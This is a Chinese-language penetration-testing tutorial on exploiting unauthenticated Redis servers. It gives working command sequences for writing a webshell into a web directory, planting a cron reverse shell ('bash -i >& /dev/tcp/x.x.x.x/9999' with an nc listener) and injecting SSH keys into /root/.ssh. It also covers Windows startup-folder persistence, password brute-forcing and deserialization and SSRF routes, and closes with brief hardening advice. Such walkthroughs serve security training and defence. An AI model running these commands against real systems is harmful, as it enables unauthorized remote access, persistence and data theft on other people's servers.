redis未授权
0X01redis介紹
redis是一個(gè)key-value存儲系統(tǒng)。和Memcached類似,它支持存儲的value類型相對更多,包括string(字符串)、list(鏈表)、set()、zset(sorted set –有序)和hash(哈希類型)。
redis很大程度補(bǔ)償了memcached這類key/value存儲的不足,在部分場合可以對關(guān)系數(shù)據(jù)庫起到很好的補(bǔ)充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客戶端,使用很方便。
redis支持主從同步。數(shù)據(jù)可以從主服務(wù)器向任意數(shù)量的從服務(wù)器上同步,從服務(wù)器可以是關(guān)聯(lián)其他從服務(wù)器的主服務(wù)器。
默認(rèn)端口:6379
0X02 漏洞簡介
Redis因配置不當(dāng)就會導(dǎo)致未授權(quán)訪問。在默認(rèn)情況下,Redis會綁定在 0.0.0.0:6379。如果沒有采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來源 ip 訪問等,這樣 Redis 服務(wù)直接暴露到公網(wǎng)上,如果在沒有設(shè)置密碼認(rèn)證(一般為空)的情況下,會導(dǎo)致任意用戶在可以訪問到目標(biāo)服務(wù)器的情況下未授權(quán)訪問 Redis 以及讀取 Redis 的數(shù)據(jù)。攻擊者在未授權(quán)訪問 Redis 的情況下,還可以利用 Redis 自身提供的config 命令進(jìn)行寫文件操作,攻擊者可以成功將自己的ssh公鑰寫入目標(biāo)服務(wù)器的 /root/.ssh 文件夾的authotrized_keys 文件中,進(jìn)而可以使用對應(yīng)私鑰直接使用ssh服務(wù)登錄目標(biāo)服務(wù)器。
redis未授權(quán)訪問很容易導(dǎo)致挖礦事件
該漏洞的產(chǎn)生條件有以下兩點(diǎn):
1、redis綁定在 0.0.0.0:6379,且沒有進(jìn)行添加防火墻規(guī)則避免其他非信任來源ip訪問等相關(guān)安全策略,直接暴露在公網(wǎng);
2、沒有設(shè)置密碼認(rèn)證(一般為空),可以免密碼(認(rèn)證)遠(yuǎn)程登錄redis服務(wù)。
0X03 漏洞危害:
1、攻擊者無需認(rèn)證訪問到內(nèi)部數(shù)據(jù),可能導(dǎo)致敏感信息泄露,黑客也可以惡意執(zhí)行flushall來清空所有數(shù)據(jù);
2、攻擊者可通過執(zhí)行l(wèi)ua代碼,或通過數(shù)據(jù)備份功能往磁盤寫入后門文件;
3、最嚴(yán)重的情況,如果Redis以root身份運(yùn)行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登陸受害服務(wù)器。
0X04環(huán)境搭建
分別搭建windows和linux的測試環(huán)境。
windows redis 安裝
官方給出redis的windows版本最新為3.x。
windows下載地址:
https://github.com/microsoftarchive/redis/releases
下載Redis-x64-3.2.100.zip解壓到本地目錄下。
修改配置文件redis.windows.conf ,開啟遠(yuǎn)程訪問,關(guān)閉保護(hù)模式。
修改bind 127.0.0.1為bind 0.0.0.0
修改protected-mode yes為protected-mode no
指定redis.windows.conf配置文件,啟動redis服務(wù)
linux redis安裝
wget http://download.redis.io/releases/redis-5.0.7.tar.gz
解壓并安裝Redis
tar -zvxf redis-5.0.7.tar.gz
移動redis目錄
mv /root/redis-5.0.7 /usr/local/redis
編譯
cd到/usr/local/redis目錄,輸入命令make執(zhí)行編譯命令,接下來控制臺會輸出各種編譯過程中輸出的內(nèi)容。
安裝
make PREFIX=/usr/local/redis install
這里多了一個(gè)關(guān)鍵字 PREFIX= 這個(gè)關(guān)鍵字的作用是編譯的時(shí)候用于指定程序存放的路徑。比如我們現(xiàn)在就是指定了redis必須存放在/usr/local/redis目錄。假設(shè)不添加該關(guān)鍵字Linux會將可執(zhí)行文件存放在/usr/local/bin目錄,
庫文件會存放在/usr/local/lib目錄。配置文件會存放在/usr/local/etc目錄。其他的資源文件會存放在usr/local/share目錄。這里指定號目錄也方便后續(xù)的卸載,后續(xù)直接rm -rf /usr/local/redis 即可刪除redis。
啟動redis
./bin/redis-server& ./redis.conf
連接windows
redis默認(rèn)情況下沒有設(shè)置密碼,在沒有設(shè)置IP訪問限制的情況下,可以通過redis寫入文件進(jìn)行相關(guān)利用。
0x05漏洞利用
寫文件
寫文件這個(gè)功能其實(shí)就是通過修改 redis 的 dbfilename、dir 配置項(xiàng)。
通常來說掌控了寫文件也就完成了 rce 的一半。
這幾種寫文件來 getshell 的方式也是最有效最簡單的。
寫入webshell
適用范圍:windows,linux版本。
利用條件:
1、目標(biāo)存在web目錄
2、已知web絕對路徑
3、存在寫入權(quán)限
利用過程:
利用redis寫入一個(gè)webshell到目標(biāo)web目錄下。
config set dir “D:/phpstudy_pro/WWW”
config set dbfilename info.php
set x “\r\n\r\n<?php phpinfo();?>\r\n\r\n”
save
計(jì)劃任務(wù)反彈shell(只能centos時(shí)才可以)
centos 會無視產(chǎn)生的亂碼
反彈shell
什么是反彈shell
反彈shell(reverse shell),就是控制端監(jiān)聽在某TCP/UDP端口,被控端發(fā)起請求到該端口,并將其命令行的輸入輸出轉(zhuǎn)到控制端。reverse shell與telnet,ssh等標(biāo)準(zhǔn)shell對應(yīng),本質(zhì)上是網(wǎng)絡(luò)概念的客戶端與服務(wù)端的角色反轉(zhuǎn)。
為什么要反彈shell?
通常用于被控端因防火墻受限、權(quán)限不足、端口被占用等情形。
舉例:假設(shè)我們攻擊了一臺機(jī)器,打開了該機(jī)器的一個(gè)端口,攻擊者在自己的機(jī)器去連接目標(biāo)機(jī)器(目標(biāo)ip:目標(biāo)機(jī)器端口),這是比較常規(guī)的形式,我們叫做正向連接。遠(yuǎn)程桌面、web服務(wù)、ssh、telnet等等都是正向連接。那么什么情況下正向連接不能用了呢?
有如下情況:
1.某客戶機(jī)中了你的網(wǎng)馬,但是它在局域網(wǎng)內(nèi),你直接連接不了。
2.目標(biāo)機(jī)器的ip動態(tài)改變,你不能持續(xù)控制。
3.由于防火墻等限制,對方機(jī)器只能發(fā)送請求,不能接收請求。
4.對于病毒,木馬,受害者什么時(shí)候能中招,對方的網(wǎng)絡(luò)環(huán)境是什么樣的,什么時(shí)候開關(guān)機(jī)等情況都是未知的,所以建立一個(gè)服務(wù)端讓惡意程序主動連接,才是上策。
那么反彈就很好理解了,攻擊者指定服務(wù)端,受害者主機(jī)主動連接攻擊者的服務(wù)端程序,就叫反彈連接。
攻擊端監(jiān)聽一個(gè)端口
nc -lvp 9999
受害端生成一個(gè)反彈shell
bash -i >& /dev/tcp/10.201.61.194/6767 0>&1
攻擊端已獲取到受害端的bash
解釋
1.nc -lvp 9999
-l 監(jiān)聽,-v 輸出交互或出錯(cuò)信息,-p 端口。nc是netcat的簡寫,可實(shí)現(xiàn)任意TCP/UDP端口的偵聽,nc可以作為server以TCP或UDP方式偵聽指定端口。
2. bash -i
-i interactive。即產(chǎn)生一個(gè)交互式的shell(bash)。
3. /dev/tcp/IP/PORT
特殊設(shè)備文件(Linux一切皆文件),實(shí)際這個(gè)文件是不存在的,它只是 bash 實(shí)現(xiàn)的用來實(shí)現(xiàn)網(wǎng)絡(luò)請求的一個(gè)接口。打開這個(gè)文件就相當(dāng)于發(fā)出了一個(gè)socket調(diào)用并建立一個(gè)socket連接,讀寫這個(gè)文件就相當(dāng)于在這個(gè)socket連接中傳輸數(shù)據(jù)。
使用范圍:centos
利用條件:
1、權(quán)限可寫計(jì)劃任務(wù)
利用過程:
在權(quán)限足夠的情況下,利用redis寫入文件到計(jì)劃任務(wù)目錄下執(zhí)行。
首先監(jiān)聽端口。
nc -lvp 9999
利用redis生成計(jì)劃任務(wù)配置文件
config set dir /var/spool/cron
set tide “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/x.x.x.x/9999 0>&1\n\n”
config set dbfilename root
save
寫入公鑰遠(yuǎn)程連接
使用范圍:開啟了密鑰認(rèn)證的linux主機(jī)
利用條件:
1、root權(quán)限
2、開啟了ssh密鑰登錄,存在/etc/.ssh文件
利用過程:
當(dāng)redis以root身份運(yùn)行,可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄目標(biāo)服務(wù)器。
1、首先在centos靶機(jī)上開啟ssh密鑰登錄。
修改/etc/ssh/sshd_config配置文件。
Windows開機(jī)自啟動目錄
在 Windows 系統(tǒng)中有一個(gè)特殊的目錄,在這個(gè)目錄下的文件在開機(jī)的時(shí)候都會被運(yùn)行。
將以下語句寫入此目錄
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\exp.hta
開機(jī)自動打開計(jì)算器
Redis 密碼爆破
如果redis設(shè)置了密碼驗(yàn)證
使用msf的auxiliary/scanner/redis/redis_login模塊
設(shè)置爆破的目標(biāo)地址,和字典文件,不建議使用默認(rèn)字典文件。
目標(biāo)主機(jī)必須開啟了密鑰登錄才能利用。
ssh第一次連接時(shí)要加上 -o StrictHostKeyChecking=no,不然可能一直連不上。
ssh-keygen -t rsa 創(chuàng)建公鑰
(echo -e “n\n”; cat ~/.ssh/id_rsa.pub; echo -e “\n\n”)>
/tmp/1.txt
cd /tmp/
cat 1.txt 生成了
cat /tmp/1.txt | redis-cli -h x.x.x.x -p 6379 -x set crakit 公鑰上傳到服務(wù)器
主要是利用redis未授權(quán)寫🐎 和ssh密鑰 ssh登錄
redis-cli -h ip
ip:6379> config set dir /root/.ssh
config get dir
config set dbfilename authorized_key
save
exit
ssh登錄
ssh root@192.168.119.166 -i /.ssh/id-rsa
反序列化rce
當(dāng)遇到 redis 服務(wù)器寫文件無法 getshell,可以查看redis數(shù)據(jù)是否符合序列化數(shù)據(jù)的特征。
序列化數(shù)據(jù)類型分辨:
jackson:關(guān)注 json 對象是不是數(shù)組,第一個(gè)元素看起來像不像類名,例如[“com.blue.bean.User”,xxx]
fastjson:關(guān)注有沒有 @type 字段
jdk:首先看 value 是不是 base64,如果是解碼后看里面有沒有 java 包名
redis 反序列化本質(zhì)上不是 redis 的漏洞,而是使用 redis 的應(yīng)用反序列化了 redis 的數(shù)據(jù)而引起的漏洞,redis 是一個(gè)緩存服務(wù)器,用于存儲一些緩存對象,所以在很多場景下 redis 里存儲的都是各種序列化后的對象數(shù)據(jù)。
兩個(gè)常見場景:
一、java 程序要將用戶登錄后的 session 對象序列化緩存起來,這種場景是最常見的。
二、程序員經(jīng)常會把 redis 和 ORM 框架整合起來,一些頻繁被查詢的數(shù)據(jù)就會被序列化存儲到 redis 里,在被查詢時(shí)就會優(yōu)先從 redis 里將對象反序列化一遍。
redis一般存儲的都是 java 序列化對象,php、python 比較少見,比較多的是 fastjson 和 jackson 類型的序列化數(shù)據(jù),jdk 原生的序列化數(shù)據(jù)。
因?yàn)橐獜?redis 反序列化對象,在對象類型非單一或少量的情況下程序員通常會選擇開啟 jackson 的 defaulttyping 和 fastjson 的 autotype,所以通常可以進(jìn)行利用。
fastjson反序列化和java反序列化和jackson 反序列化利用原理相同,都是通過篡改 redis 里面的反序列化數(shù)據(jù),把惡意的序列化字節(jié)碼存儲進(jìn)去,等到應(yīng)用使用到它的時(shí)候就會反序列化觸發(fā)漏洞。
redis Error: Connection reset by peer 解決
redis.conf中的 bind 127.0.0.1沒有注釋掉
保護(hù)模式?jīng)]有關(guān)閉
啟動要綁定 配置文件 不然配置文件不會生效
redis.conf是redis的配置文件
redis-cli
CONFIG GET *
可以看所有內(nèi)容
info 可以查看redis信息
ps | grep redis 查看redis pid
kill redis 的pid 強(qiáng)制關(guān)閉redis
一直沒有收到shell
檢查受害端系統(tǒng)日志
tail -f /var/log/syslog
是有在執(zhí)行計(jì)劃的
報(bào)錯(cuò)會發(fā)送到郵件服務(wù)器里
查看/var/spool/mail
發(fā)現(xiàn)報(bào)錯(cuò) /bin/sh : 1: Syntax error :Bad fd number
百度了一下,這條錯(cuò)誤是因?yàn)?bin/bash沒有被找到,通過錯(cuò)誤信息還可以明白一件事情,那就是linux里面的cron中command執(zhí)行的shell環(huán)境是/bin/sh
ls -al /bin/sh 看一下 /bin/sh 是個(gè)啥
sudo mv /bin/sh /bin/sh.orig
sudo ln -s /bin/bash /bin/sh
替換shell環(huán)境為 bash
替換之后成功接收到shell
還有兩種解決辦法
1.將bash語句寫在一個(gè)腳本里 計(jì)劃執(zhí)行這個(gè)腳本
2.*/1 * * * * bash -c “bash -i >&/dev/tcp/x.x.x.x/1234 0>&1”
使用這個(gè)直接在sh下用 bash -c
亂碼導(dǎo)致錯(cuò)誤
使用kali做為目標(biāo)主機(jī)進(jìn)行測試,需要寫入計(jì)劃任務(wù)到/var/spool/cron/crontabs目錄下。
發(fā)現(xiàn)當(dāng)目標(biāo)主機(jī)為centos時(shí)可以反彈shell成功,使用了ubuntu和debian均無法成功反彈shell。
原因:由于redis向任務(wù)計(jì)劃文件里寫內(nèi)容出現(xiàn)亂碼而導(dǎo)致的語法錯(cuò)誤,而亂碼是避免不了的,centos會忽略亂碼去執(zhí)行格式正確的任務(wù)計(jì)劃。
0x06總結(jié)
1.-> 這TM 到底是個(gè)什么東西?
因?yàn)榕渲貌划?dāng)導(dǎo)致redis服務(wù)可以被連接,攻擊者可以控制redis執(zhí)行 config 命令,或者獲取目標(biāo)服務(wù)器上redis緩存里的內(nèi)容,通過控制寫入的dir 和filename,實(shí)現(xiàn)往服務(wù)器任意位置寫入任意文件。
2.-> “正常情況下” 它都被用在什么地方? 平時(shí)主要拿它來干啥? 或者說這個(gè)東西可以協(xié)助解決一些什么樣的實(shí)際業(yè)務(wù)問題 ?
常見的利用方法是,向網(wǎng)站目錄里寫入webshell(是絕大部分挖礦事件的原因)。如果是centos系統(tǒng),可以向crontabs(linux的計(jì)劃任務(wù)文件,在/var/spool/cron里)實(shí)現(xiàn)計(jì)劃任務(wù)反彈shell。windows系統(tǒng),可以往windos的開機(jī)自啟動目錄里寫入腳本。當(dāng)然如果遇到 redis 服務(wù)器寫文件無法 getshell,可以查看redis數(shù)據(jù)是否符合序列化數(shù)據(jù)的特征。
3.-> 它在"正常情況下", 具體是怎么運(yùn)作的 ? 或者說其內(nèi)部大致 實(shí)現(xiàn)原理 和 正常執(zhí)行流程 是怎樣的?
Redis 默認(rèn)情況下,會綁定在 0.0.0.0:6379,這樣將會將 Redis 服務(wù)暴露到公網(wǎng)上,如果在沒有開啟認(rèn)證的情況下,可以導(dǎo)致任意用戶在可以訪問目標(biāo)服務(wù)器的情況下未授權(quán)訪問 Redis 以及讀取 Redis 的數(shù)據(jù)。攻擊者在未授權(quán)訪問 Redis 的情況下可以利用 Redis 的相關(guān)方法,可以成功在 Redis 服務(wù)器上寫入公鑰,進(jìn)而可以使用對應(yīng)私鑰直接登錄目標(biāo)服務(wù)器。
4.-> 在實(shí)際滲透中我們到底能利用它來干些啥? 最終又能達(dá)到什么樣的利用效果? 或者說它能幫我們避免或者解決一些什么樣的實(shí)際滲透問題?
利用redis未授權(quán),獲得一個(gè)shell,最終可以用來命令執(zhí)行。低版本redis還可以通過eval執(zhí)行l(wèi)ua代碼。如果是root權(quán)限可以寫入ssh公鑰,進(jìn)行一個(gè)ssh的登錄
5.-> 針對它所演化出來的具體利用場景都有哪些? 覆蓋范圍影響如何?
只要是對外開啟了redis服務(wù)的都可以嘗試。如果對內(nèi)開啟了redis且未授權(quán),可以配合ssrf,利用gopher協(xié)議來寫shell,用腳本生成payload,使用 curl運(yùn)行payload,寫入木馬,獲得webshell或者反彈shell。
6.-> 詳細(xì)利用條件又是啥? 利用成功的限制條件是否苛刻? 對于自己現(xiàn)有的目標(biāo)性質(zhì)是否有繼續(xù)深入研究的價(jià)值?
7.-> 實(shí)際利用中可能會存在什么樣的風(fēng)險(xiǎn)? 能否提前規(guī)避這些風(fēng)險(xiǎn)? 怎么規(guī)避? 萬一誤操作是否還能及時(shí)補(bǔ)救? 如何補(bǔ)救?
8.-> 能否在其原有基礎(chǔ)上進(jìn)行針對性的改良利用,將其深度武器化而后直接付諸實(shí)戰(zhàn)?
9.-> 能否通過這個(gè)又聯(lián)想到一些其它的衍生利用場景? 或者因此萌生出了一些比較另類優(yōu)秀的利用思路?
10.-> 仔細(xì)分析哪些情況下可能會直接導(dǎo)致利用失敗?
當(dāng)redis存在密碼時(shí),只能進(jìn)行爆破,當(dāng)redis權(quán)限不夠時(shí),寫的文件可能不能自動執(zhí)行。添加了防火墻規(guī)則避免其他非信任ip訪問redis。
11.-> 如何從源頭防御這種利用?
1.在配置文件中設(shè)置密碼,以提供遠(yuǎn)程登錄
2.修改默認(rèn)端口
3.禁止redis擁有root權(quán)限
4.給redis配置文件中綁定你允許的ip才能訪問
5.禁止一些高危命令,如 config ; flushall ; eval
總結(jié)
- 上一篇: 后台运行python程序
- 下一篇: 西工大计算机学院软件工程专硕,2021双